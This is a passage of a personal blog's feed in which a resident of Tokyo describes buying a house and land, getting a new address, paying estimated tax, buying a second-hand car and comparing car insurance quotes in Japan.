&lt;h2 id=&quot;submitting-the-exemption-application&quot;&gt;Submitting the exemption application&lt;/h2&gt;

&lt;p&gt;A few weeks after the house was ready we got the Tokyo Zero-Emission Housing Certification (東京ゼロエミ住宅認証書), so we filled out the &lt;a href=&quot;https://www.tax.metro.tokyo.lg.jp/documents/d/tax/zero_emi_chirashi0610&quot;&gt;exemption request form&lt;/a&gt; (不動産取得税減免申請書) and sent it to the tax office. They should only contact us if there is some issue, so hopefully this is the end of this story.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Getting a new address for our home</title>
   <link href="https://szabo.jp/2025/09/06/new-address/"/>
   <updated>2025-09-06T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/09/06/new-address</id>
   <content type="html">&lt;p&gt;We are building our house in Tokyo. Previously there was an old house on this land with a garden. That house was taken down and the land got split into two (very common in Tokyo). Somehow the other land got to keep the original address, which meant we had to get a new one.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;addresses-in-japan&quot;&gt;Addresses in Japan&lt;/h2&gt;

&lt;p&gt;Addresses in Japan are not based on the street name and number (like in some other countries) but rather on smaller and smaller sections of the city.&lt;/p&gt;

&lt;p&gt;An address might look like this (I made it up):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;東京都武蔵野市緑山2丁目15番8号
Tokyo, Musashino City, Midoriyama 2-15-8&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Splitting this up:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Tokyo&lt;/strong&gt; is the prefecture&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Musashino City&lt;/strong&gt; is the city&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Midoriyama&lt;/strong&gt; is the chō (町), the neighborhood. There are &lt;a href=&quot;https://www.city.musashino.lg.jp/kurashi_tetsuzuki/jutaku_shinchiku_zokaichiku/shinchiku_zokaichiku/doroshubetsu/1018221.html&quot;&gt;13 neighborhoods in Musashino City&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2丁目&lt;/strong&gt; (chōme / numbered sub-neighborhood) are a numbered area within the neighborhood. One neighborhood can have anywhere between 1 to 8+ chōme, but in Musashino it is usually from 3 to 5&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;15番&lt;/strong&gt; - block number&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;8号&lt;/strong&gt; - building number&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a map of Musashino with the neighborhoods and the sub-neighborhoods (&lt;a href=&quot;https://www.city.musashino.lg.jp/kurashi_tetsuzuki/jutaku_shinchiku_zokaichiku/shinchiku_zokaichiku/doroshubetsu/1018221.html&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-09-06-new-address/map.jpg#lb&quot; alt=&quot;Musashino City&apos;s neighborhoods (町)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;These are the general addresses used on most documents and for sending mail. The official name for it is residential address system (住居表示), but most people wouldn’t even be aware that it has a name or that it is not the only address system.&lt;/p&gt;

&lt;h2 id=&quot;lot-number-address-system&quot;&gt;Lot-number address system&lt;/h2&gt;

&lt;p&gt;There is another, address system, the lot number addresses: 地番 (jiban), sometimes called 土地番地 (tochi banchi). This is based on the land lot numbers in the official register (登記簿). It might look like this:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;東京都武蔵野市緑山2丁目1234番56
Tokyo, Musashino City, Midoriyama 1234-56&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Since all land is in the register, it seems that all land has this.&lt;/p&gt;

&lt;h2 id=&quot;our-process&quot;&gt;Our process&lt;/h2&gt;

&lt;p&gt;When we started building our house, it didn’t have a usual address (since our neighbor got the previous one), so all of our documents used the lot-number address.&lt;/p&gt;

&lt;p&gt;About halfway through the construction (and one month after the house was standing) Ichijo applied at the city to get us a new address, and a bit later we got a notification that our address was decided (住居表示通知書). This also included a metal address plate that shows the new address, that we will attach at the front so that people can see the new address.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-09-06-new-address/address-plate.png#lb&quot; alt=&quot;Address plate installed on a house (source: https://sanwa-rc.com/blog/?p=18664)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We actually got lucky, since apparently our neighbor’s number was the highest in this block, so they could just increase it by one. E.g. if our neighbor was 2-15-8 then our address became 2-15-9. There was a chance that 2-15-9 would have already been taken and then we could have ended up with something like 2-15-17 which could confuse delivery drivers if it is far from 16.&lt;/p&gt;

&lt;h2 id=&quot;after-getting-the-address&quot;&gt;After getting the address&lt;/h2&gt;

&lt;p&gt;There doesn’t seem to be too much to do after getting the address, we just started using it on all new documents (currently working on home insurance, and there were some extra tax-related documents too, but I’ll write about those separately). There doesn’t seem to be any need to update the earlier documents that used the other address. My guess that this is due to how the system works: it is not that the address of our land changed, but rather that all lands have 2 addresses (one in each system) and we simply used the address from the other system.&lt;/p&gt;

&lt;p&gt;I did however check our new address on Google Maps and made an edit to make it point to the correct house (somehow Google Maps guessed the location, and it was off by a few blocks).&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Estimated tax prepayment system (予定納税)</title>
   <link href="https://szabo.jp/2025/08/27/estimated-tax-prepayment/"/>
   <updated>2025-08-27T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/08/27/estimated-tax-prepayment</id>
   <content type="html">&lt;p&gt;On July 31st my bank account had a direct debit charge of 52,900 yen with the note &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;シンコクシヨトクゼイ&lt;/code&gt;. This is how I learned about the estimated tax prepayment system.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;As a salaried employee my company mostly handles my taxes. I have some investments in an Interactive Brokers account where tax is not withheld, and I have ETFs and stocks there that pay some dividend, so I still need to file tax in February to declare those and pay the tax. Since dividends from US securities get taxed 10% in the US, I can claim foreign tax credit and pay only another 10% tax in Japan. This usually comes out to about 20-30,000 yen tax to pay, and I have been paying that in February each year.&lt;/p&gt;

&lt;p&gt;However last year I did a rebalance in the investment account (sold some ETFs and bought another one), which meant I realized 1.2 million yen gains, which meant &lt;a href=&quot;/2025/03/11/capital-gains-tax/&quot;&gt;I was on the hook for 240,000 yen capital gains tax&lt;/a&gt;. Moreover dividends were also higher than usual, resulting in an additional 38,000 yen tax from that. I paid these in February and didn’t think of it more. But the NTA thought differently.&lt;/p&gt;

&lt;h2 id=&quot;pay-your-taxes-early&quot;&gt;Pay your taxes early&lt;/h2&gt;

&lt;p&gt;If based on last year’s income the tax office estimates that you will have 150,000 yen or more tax to pay, then they will charge 1/3 of it in July (first installment, 第１期分) and 1/3 of it in November (second installment, 第２期分).&lt;/p&gt;

&lt;p&gt;If your income is expected to be less than last year, then you can ask for an exemption, but since I wasn’t charged that much, I decided to just go ahead with it.&lt;/p&gt;

&lt;p&gt;At tax filing time, I will need to include this and it will be used to offset any outstanding tax obligation, and the rest will be refunded. So it is not an extra tax, simply a prepayment.&lt;/p&gt;

&lt;p&gt;How they arrived to the 52,900 yen amount that I was charged, I’m not sure. Based on the extra tax I had to pay last year, I would have expected it to be more, but I won’t complain.&lt;/p&gt;

&lt;h2 id=&quot;online-notification&quot;&gt;Online notification&lt;/h2&gt;

&lt;p&gt;I actually got very lucky that I had my bank account’s direct debit configured with the tax office. During tax filing there was a section to ask for electronic delivery of the estimated tax amount notice that I likely selected, which meant I didn’t get any paper notification:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt; なお、令和６年分の所得税及び復興特別所得税の確定申告において、予定納税額の通知書の「電子交付」を希望した方については、予定納税額の通知書を書面の送付に代えてe-Taxにより通知しています。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However electronic notification is not an email, but rather a notification in e-Tax, which I totally missed. So should I not have had the direct debit configured, I would have had a late tax payment. Yikes.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1n0dqz6/comment/napvo6w/&quot;&gt;This reddit answer&lt;/a&gt; has the steps to check the e-Tax notifications:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;login to &lt;a href=&quot;https://myna.go.jp&quot;&gt;https://myna.go.jp&lt;/a&gt; and to go to the message box &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;お知らせ&lt;/code&gt; at the top right of the page&lt;/li&gt;
  &lt;li&gt;There you should have a message titled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;【税務署からのお知らせ】予定納税等通知書に関するお知らせ&lt;/code&gt; from June&lt;/li&gt;
  &lt;li&gt;Open it and click the link &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e-Taxメッセージボックスへ&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;That will have a button to pay directly from your bank account or via credit card&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I also had the message there informing me of the amount that was later taken. A message that I totally missed.&lt;/p&gt;

&lt;h2 id=&quot;source&quot;&gt;Source&lt;/h2&gt;

&lt;p&gt;NTA’s &lt;a href=&quot;https://www.nta.go.jp/publication/pamph/koho/campaign/r7/Jul/02.htm&quot;&gt;Don’t forget to pay your first installment of estimated income tax&lt;/a&gt; site&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Our timeline of getting a second-hand car in Japan</title>
   <link href="https://szabo.jp/2025/08/14/timeline-of-getting-a-car/"/>
   <updated>2025-08-14T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/08/14/timeline-of-getting-a-car</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/07/21/how-to-buy-a-second-hand-car/&quot;&gt;recently bought a second-hand minivan from a Toyota dealership&lt;/a&gt; and in this post I’ll share our timeline. Each section will start with the time remaining until we got the car.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;general&quot;&gt;General&lt;/h1&gt;

&lt;p&gt;In Japan when you buy a second hand car, it usually takes up to a month until you can drive it home. I encountered two reasons for this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Shaken (mandatory vehicle inspection)&lt;/strong&gt; - many people will sell their cars right before it comes up for shaken, and then the dealership will wait with the shaken until someone buys it. So once you sign the contract for the car, only then will the dealership do the shaken. The cost of this is included in the price, and this is actually nice as you will have the full 2 years until the next shaken.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Parking certificate&lt;/strong&gt; - in Tokyo and other major cities, to register a car in your name, you need a certificate from the police showing that you have a parking space big enough for that specific car. This document needs to include the chassis number (車台番号) of the specific car, which means the only possible timeline is something like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Find a car that you like, sign the contract to buy it&lt;/li&gt;
  &lt;li&gt;Go to police, get the parking certificate for that specific car (takes a few days)&lt;/li&gt;
  &lt;li&gt;Give the parking certificate to the dealer (or let them handle it entire for a fee)&lt;/li&gt;
  &lt;li&gt;The dealer completes the shaken, if needed&lt;/li&gt;
  &lt;li&gt;The dealer registers the car in your name&lt;/li&gt;
  &lt;li&gt;You get the car&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;our-timeline&quot;&gt;Our timeline&lt;/h1&gt;

&lt;p&gt;Now let’s see how our timeline went.&lt;/p&gt;

&lt;h2 id=&quot;1-year-before-started-looking&quot;&gt;1 year before: started looking&lt;/h2&gt;

&lt;p&gt;We decided to get a car, and started looking at various sizes and models. Anytime we would rent a car, we chose one that we could imagine buying, then discussed how it was.&lt;/p&gt;

&lt;h2 id=&quot;half-year-before-checking-prices&quot;&gt;Half year before: checking prices&lt;/h2&gt;

&lt;p&gt;Once we had some models in mind, we checked prices of new and few years old models, trying to figure out what age/milage combination gives the best cost-performance.&lt;/p&gt;

&lt;h2 id=&quot;2-months-before-visiting-dealerships&quot;&gt;2 months before: visiting dealerships&lt;/h2&gt;

&lt;p&gt;We visited a nearby Toyota dealership first, then 3 weeks later a Honda one. At this time we were still &lt;a href=&quot;/2025/07/20/choosing-a-car/&quot;&gt;figuring out the right size for the car to get&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;4-weeks-before-checking-online-listings&quot;&gt;4 weeks before: checking online listings&lt;/h2&gt;

&lt;p&gt;As we were narrowing down the models we were interested in, and decided the options we wanted (second row  AC, double electric sliding doors, parking radar and camera, cruise control, etc.), we could start looking at the online listings near us. We searched across Tokyo, Chiba, Kanagawa, and Saitama, with the thinking that we can go there on a weekend.&lt;/p&gt;

&lt;h2 id=&quot;3-weeks-before-finding-the-car&quot;&gt;3 weeks before: finding the car&lt;/h2&gt;

&lt;p&gt;Based on the listings, my wife found a car that seemed like a perfect fit, and called the dealership to make a reservation. They told us that they can’t hold it for multiple days, but if we call them in the morning, they will keep it for us until we visit later that day.&lt;/p&gt;

&lt;p&gt;We went there, and checked the car (already prepared specific things we wanted to know). We could even drive the car around the parking lot a bit, but not in traffic (this car had shaken, so that wasn’t the issue, so my guess is they don’t have an insurance for a longer test drive).&lt;/p&gt;

&lt;p&gt;We decided to buy it, and went through the paperwork. We arrived at 10:40am, decided to get it around 11:30am, and finished the paperwork by 1:30pm.&lt;/p&gt;

&lt;p&gt;We paid 10,000 yen in cash this time, and were told to transfer the rest of the money within a few days.&lt;/p&gt;

&lt;p&gt;We were told that it will take about a month to get the car, especially as 3 weeks from today Obon will start, and the company will close for a full week. So we decided to speed things up and try to get it before Obon.&lt;/p&gt;

&lt;h2 id=&quot;25-weeks-before-paying-for-the-car&quot;&gt;2.5 weeks before: paying for the car&lt;/h2&gt;

&lt;p&gt;A few days after signing the contract I sent &lt;a href=&quot;/2025/07/22/the-price-of-a-car/&quot;&gt;the price of the car&lt;/a&gt; (minus the 10,000 yen) via bank transfer.&lt;/p&gt;

&lt;h2 id=&quot;2-weeks-before-finalized-the-parking&quot;&gt;2 weeks before: finalized the parking&lt;/h2&gt;

&lt;p&gt;We checked earlier if our mansion had available parking, but only rented it now. They were pretty fast and we could get the keys in a week. They also provided the papers to give to the police for the parking certificate.&lt;/p&gt;

&lt;h2 id=&quot;15-weeks-before-apply-for-the-parking-certificate-車庫証明書&quot;&gt;1.5 weeks before: apply for the parking certificate (車庫証明書)&lt;/h2&gt;

&lt;p&gt;The dealership offered to do this for us, but they would have charged us 18,700 yen for it, and it would have taken longer, so we decided to do it ourselves. The dealership provided us with the form, and prefilled the car specific details (chassis number, size), so we just had to attach the papers about the parking place (from the building management company), and bring it to the police station.&lt;/p&gt;

&lt;p&gt;They told us to come back in 3 days for the certificate.&lt;/p&gt;

&lt;h2 id=&quot;1-week-before-picking-up-the-parking-certificate&quot;&gt;1 week before: picking up the parking certificate&lt;/h2&gt;

&lt;p&gt;Picked up the parking certificate at the police station and mailed it to the dealership.&lt;/p&gt;

&lt;h2 id=&quot;2-days-before-the-car-is-ready&quot;&gt;2 days before: the car is ready&lt;/h2&gt;

&lt;p&gt;2 days before picking up the car, the dealership called us that  the car was ready to be picked up. They also sent us the shaken certificate (車検証明書). We needed this to &lt;a href=&quot;/2025/08/03/car-insurance/&quot;&gt;finalize the insurance&lt;/a&gt;, so this was nice.&lt;/p&gt;

&lt;h2 id=&quot;on-the-day&quot;&gt;On the day&lt;/h2&gt;

&lt;p&gt;Some final paperwork and explanation, and I got the keys to the car. A minor surprise was that the tank was only about 25% full, so I needed to fill it up myself.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Car insurance in Japan</title>
   <link href="https://szabo.jp/2025/08/03/car-insurance/"/>
   <updated>2025-08-03T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/08/03/car-insurance</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/07/21/how-to-buy-a-second-hand-car/&quot;&gt;recently bought a second-hand minivan&lt;/a&gt; and in this post I’ll describe what I learned about car insurance, and our experience signing up for one.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;mandatory-car-insurance-自賠責保険---jibaiseki-hoken&quot;&gt;Mandatory car insurance (自賠責保険 - Jibaiseki Hoken)&lt;/h1&gt;

&lt;p&gt;All vehicles must have it, the price and coverage is set by the law (and doesn’t depend on the driver), it is renewed at shaken (vehicle inspection). As of 2025 it costs 17,650 yen for 2 years for regular cars and a bit less for kei-cars and motorcycles (&lt;a href=&quot;https://www.mlit.go.jp/jidosha/jibaiseki/about/policyholder/index.html&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Multiple insurance companies offer it, but since the price and coverage is the same, it doesn’t really matter which one to choose. The car we bought still has one year until the next shaken, so this is taken care of until then.&lt;/p&gt;

&lt;p&gt;It has some serious limitations though (&lt;a href=&quot;https://www.sonysonpo.co.jp/auto/guide/agde001.html&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Only covers the other party, not the driver or passengers of the insured vehicle&lt;/li&gt;
  &lt;li&gt;Only covers injuries or death, but not damages to property or vehicles&lt;/li&gt;
  &lt;li&gt;It has pretty low limits (all limits are per injured person):
    &lt;ul&gt;
      &lt;li&gt;Injury: up to 1.2m yen (120万円)&lt;/li&gt;
      &lt;li&gt;Death: up to 30m yen (3,000万円)&lt;/li&gt;
      &lt;li&gt;Permanent disability: up to 40m yen (4,000万円)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If someone causes an accident, they will be liable for all other expenses, like damages to the other car(s) or buildings, medical expenses and death above the mandatory limits, and all costs associated with their passengers’ and their own recovery. Thus having an additional, optional insurance to cover these is highly recommended, and &lt;a href=&quot;https://www.mitsui-direct.co.jp/car/guide/new/report/#md-anc-01&quot;&gt;about 90% of drivers&lt;/a&gt; have one.&lt;/p&gt;

&lt;h1 id=&quot;optional-insurance-任意保険---nini-hoken&quot;&gt;Optional insurance (任意保険 - Nini Hoken)&lt;/h1&gt;

&lt;p&gt;As we saw above, this is highly recommended, so when people talk about car insurance in Japan, they usually mean this. Multiple insurance companies offer packages with various coverage, so there are a lot of options here.&lt;/p&gt;

&lt;p&gt;Major things to decide:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;who will be the main driver?&lt;/strong&gt; - this can be different than the owner of the car, and the insurance gets cheaper if the main driver has a gold license&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;who will drive the car?&lt;/strong&gt; - main driver, main driver and spouse, anybody. The price of insurance gets higher with more people included. Since the insurance is optional, even if someone is  not included, they are still allowed to drive the car, but the insurance won’t cover that trip. To counter this, one can take out a 1-day insurance (1日自動車保険) for that day, available for a few hundred yens at e.g. &lt;a href=&quot;https://www.lawson.co.jp/service/hoken_s/lp/tyoinori/&quot;&gt;Lawson&lt;/a&gt;. So unless you know for sure that others will drive, it is likely better to limit it to the driver (and spouse).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;do you want coverage for yourself and passengers, or only the other parties?&lt;/strong&gt; - cost of the other parties can definitely bankrupt you, but whether you want insurance to cover your own medical costs is more of a personal preference&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;do you want coverage for your own car or only the others’?&lt;/strong&gt; - one might decide to just pay for any damages out of pocket. This can save up to half the cost of insurance, so worth considering&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;do you want roadside assistance?&lt;/strong&gt; - if your car breaks down (flat tire, dead battery, out of fuel, stuck in snow, etc.), the insurance company will send someone to help you. &lt;a href=&quot;https://jaf.or.jp/individual/join-us/membership&quot;&gt;JAF offers this as a separate service&lt;/a&gt; for 6,000 yen per year (or as pay-as-you-go), so that’s a good comparison.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end of the day insurance is a negative sum game: on average we are expected to pay more for insurance than what we will get from it (otherwise insurance companies would go bankrupt). So there is an argument for only getting coverage for catastrophic events (e.g. being on the hook to pay enormous medical costs of someone else, or the price of someone’s luxury car), while skipping insurance on the more manageable disasters (e.g. fixing your own car if you hit a utility pole).&lt;/p&gt;

&lt;p&gt;In the end we chose the followings:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;main driver&lt;/strong&gt;: my wife. We plan to both drive, and since she has a gold license, this saves on the insurance&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;who will drive&lt;/strong&gt;: main driver and spouse&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;coverage for driver and passengers&lt;/strong&gt;: yes (it ended up being pretty cheap (6,290 yen per year), and nice to not have to worry about it)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;coverage for our own car&lt;/strong&gt;: we thought a lot about this, and decided to get a limited coverage for the first year (with high, 100,000 yen deductible). I expect that we will skip on this from the second year onwards&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;roadside assistance&lt;/strong&gt;: initially decided to skip and just pay for JAF if we need it (they charge 20-30,000 yen per event, so it’s not so bad), but in the end it got included for free&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;dealership&quot;&gt;Dealership&lt;/h2&gt;

&lt;p&gt;The dealership one buys their car can handle the insurance for you. This is likely the easiest, but the cost will probably by higher than other options. We passed on this, and decided to do it ourselves.&lt;/p&gt;

&lt;h2 id=&quot;corporate-discount&quot;&gt;Corporate discount&lt;/h2&gt;

&lt;p&gt;Because of my employer I’m eligible for a 31.5% discount at Mitsui Sumitomo’s Insurance (三井住友海上火災保険株式会社 - don’t ask me if they are the same as the SMBC bank). Going through their &lt;a href=&quot;https://kantanmitsumori.jp/tmcg/&quot;&gt;quick estimation website&lt;/a&gt; I got a ¥82,440 yearly fee for the above conditions.&lt;/p&gt;

&lt;h2 id=&quot;kakakucom&quot;&gt;Kakaku.com&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://kakaku.com/&quot;&gt;価格.com&lt;/a&gt; is a well-known price comparison website, and they have &lt;a href=&quot;https://hoken.kakaku.com/kuruma_hoken/&quot;&gt;a page for car insurance&lt;/a&gt;. An insurance  quote has many unique inputs (age, model,  milage of the car, driver details), so you won’t be able to get estimates immediately on the site, but instead need to fill out all your details (including your contact information) and then the insurance companies will e-mail and/or mail you their quotes in the next few days. The process was pretty easy, and apart from a few reminders in the first week they didn’t send me any spam, so it was fine to give them my details.&lt;/p&gt;

&lt;p&gt;Here are the yearly fees per insurance provider that we got (ordered by fee):&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Company&lt;/th&gt;
      &lt;th&gt;Yearly fee&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;AXA DIRECT&lt;/td&gt;
      &lt;td&gt;¥40,200&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Zurich&lt;/td&gt;
      &lt;td&gt;¥42,770&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mitsui Direct&lt;/td&gt;
      &lt;td&gt;¥48,230&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SONY&lt;/td&gt;
      &lt;td&gt;¥63,180&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SBI&lt;/td&gt;
      &lt;td&gt;¥66,920&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;E.design&lt;/td&gt;
      &lt;td&gt;¥68,022&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Rakuten&lt;/td&gt;
      &lt;td&gt;¥75,070&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SOMPO&lt;/td&gt;
      &lt;td&gt;¥78,170&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mitsumori (Corporate discount)&lt;/td&gt;
      &lt;td&gt;¥82,440&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So looks like the 35% off corporate discount ended up being the worse, however that estimate is from the insurance company’s website directly. Meanwhile the others are from the first estimate the companies sent me based on my input on kakaku.com, so the final price would likely be higher after checking their fine-print and adding extra things.&lt;/p&gt;

&lt;h2 id=&quot;axa-direct&quot;&gt;AXA DIRECT&lt;/h2&gt;

&lt;p&gt;I decided to continue with &lt;a href=&quot;https://www.axa-direct.co.jp/&quot;&gt;AXA DIRECT&lt;/a&gt;, as they were the cheapest and they had good reviews online. After signing up on their website from the email they sent me, I got to confirm the data I entered on kakaku.com (it was all there, but I could modify it if I wanted to), then I got to the coverage configuration page.&lt;/p&gt;

&lt;p&gt;I really liked how AXA designed this page: it was separated into sections (like Compensation for the other party in an accident, Compensation for yourself and your passengers,  Compensation for your own vehicle, etc.). Each section showed how much it contributed to the fee, and I could adjust any part of the coverage and have it recalculate the fee.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-08-03-car-insurance/axa.png#lb&quot; alt=&quot;A section of the Axa website showing the compensation for me and my passengers&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Moreover if anything was unclear, there was always a more details button explaining each term and coverage, and if even that wasn’t clear enough, there was a further details page giving specific examples for each line of the coverage. It was really nice to be able to drill down until we fully understood it.&lt;/p&gt;

&lt;p&gt;In the end we made a few adjustments:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;made the medical expenses coverage unlimited for us and our passengers (only a slight increase)&lt;/li&gt;
  &lt;li&gt;limited the coverage for our own vehicle - by excluding hit&amp;amp;run, hitting utility poles, hitting bicycles, and increasing our deductible to 100,000 yen. This saved us about 10,000 yen&lt;/li&gt;
  &lt;li&gt;we added coverage for legal fees - this was based on a colleague’s recommendation, as they had a bad experience crashing with someone who didn’t have insurance and wasn’t cooperative, and then suing them is the only way forward. It added 8,263 yen to the fee&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also we learned that AXA’s base rate includes the roadside assistance service (and can’t be removed), so we are also getting that which is nice.&lt;/p&gt;

&lt;p&gt;In the end this left us with a yearly insurance fee of 40,750 yen, which I’m pretty happy with. We will probably revisit the coverage next year, but until then this is a good deal, I think.&lt;/p&gt;

&lt;p&gt;Once the dealer completed the paperwork for our car and sent us the 車検書 (shakensho), we input the details from that (chassis number, license plate), and finalized the insurance contract on their website. As the last step we paid by credit card (we paid the full year at once, as paying it monthly would be 10% more expensive).&lt;/p&gt;

&lt;p&gt;The overall process was easy and clear, and this is one more reason I liked AXA. Comparing it to Mitsumori (where I had the corporate discount): while they had the easy estimate website, the next step was to call them and based on other’s experience, the call usually takes an hour.&lt;/p&gt;

&lt;h2 id=&quot;friend-referral&quot;&gt;Friend referral&lt;/h2&gt;

&lt;p&gt;AXA has a &lt;a href=&quot;https://www.axa-direct.co.jp/auto/contractor/mgm_mpdc.html&quot;&gt;friend referral program (ご家族・お友達ご紹介プログラムとお客さまページ複数契約割引)&lt;/a&gt; that gives 1,000 yen discount to both you and me, if you sign-up using my code. Start the sign-up from &lt;a href=&quot;https://www.axa-direct.co.jp/qb/html/?CampaignCode=7021#/mgm?mgmId=M2023066040235&quot;&gt;this link&lt;/a&gt; or use my referral code directly: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M2023066040235&lt;/code&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Caring for the land: from buying it until the construction starts</title>
   <link href="https://szabo.jp/2025/07/27/caring-for-the-land/"/>
   <updated>2025-07-27T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/07/27/caring-for-the-land</id>
   <content type="html">&lt;p&gt;We are currently building our home in Tokyo. I wrote about &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;our process and the costs associated with buying the land&lt;/a&gt; and &lt;a href=&quot;/2025/05/26/designing-our-house/&quot;&gt;the process of designing our house&lt;/a&gt;, and in this post I’ll describe how we cared for the land from the time we bought it to the time construction started.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;em&gt;To protect the actual location of our house, I will be using photos of other lands in this post.&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;may-2024-buying-the-land&quot;&gt;May 2024: buying the land&lt;/h1&gt;

&lt;p&gt;As detailed &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;in my other post&lt;/a&gt;, in mid May of 2024. we closed on the land, and became the official owners of the plot. The seller already cleared off the old house and built a fence towards the neighbors, so the land looked something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-27-caring-for-the-land/empty_land.jpg#lb&quot; alt=&quot;A similar empty land&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is ready for the house to be built. Except this was the time we could finally start designing the house, and construction was to start only 9 months later the earliest (and ended up starting 12 months later due &lt;a href=&quot;/2025/05/26/designing-our-house/&quot;&gt;to us taking our time with the design&lt;/a&gt;).&lt;/p&gt;

&lt;h1 id=&quot;july-2024-nature-takes-over&quot;&gt;July 2024: nature takes over&lt;/h1&gt;

&lt;p&gt;June is the rainy season in Japan, which nature loves. In mere 2 month of time our land looked like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-27-caring-for-the-land/overgrown.jpg#lb&quot; alt=&quot;Another land with similarly overgrown weeds&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It was becoming higher than people, and our Ichijo guy asked us to do something about it (cut it and then cover the land with an anti-weed sheet), so that it doesn’t become a jungle by next year.&lt;/p&gt;

&lt;h1 id=&quot;august-2024-anti-weed-sheet&quot;&gt;August 2024: anti-weed sheet&lt;/h1&gt;

